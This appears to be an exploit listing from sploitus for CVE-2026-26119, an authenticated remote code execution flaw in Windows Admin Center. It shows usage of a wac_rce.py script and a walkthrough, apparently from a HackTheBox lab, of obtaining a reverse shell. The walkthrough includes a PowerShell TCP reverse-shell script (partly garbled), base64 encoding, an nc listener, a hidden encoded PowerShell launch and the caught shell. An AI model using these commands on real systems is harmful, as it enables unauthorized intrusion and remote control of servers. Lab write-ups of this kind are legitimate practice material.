Exploit for Improper Authentication in Microsoft

## https://sploitus.com/exploit?id=CE8CB5B7-FC8C-5603-BF28-A5F10C2A49D3
# CVE-2026-26119

WAC RCE - CVE-2026-26119
Windows Admin Center authenticated RCE via WinREST/PowerShell invokeCommand.
 
Usage:
```
    python3 wac_rce.py   ""
    WAC_PASS= python3 wac_rce.py 
``` 
Env:
```
    WAC_BASE  - override target base URL (default below)
    WAC_PASS  - password, used if not passed positionally
```
---

```
┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ python3 wac_rce.py 'anderson.w' 'Password' 'whoami'      
danglingtree\anderson.w
```

How to get the reverse shell:

```
cat > revshell.ps1 &1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
EOF
```

```
cat revshell.ps1 | iconv -t utf-16le | base64 -w 0 > revshell.b64
```

create a `nc` listener:

```
nc -nlvp 4444
```

```
python3 wac_rce.py 'anderson.w' 'Password' "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"
```

```
┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.81] from (UNKNOWN) [10.129.171.81] 54318
$Host.UI.RawUI.WindowTitle = "shell"
PS C:\Users\anderson.w\Documents>
```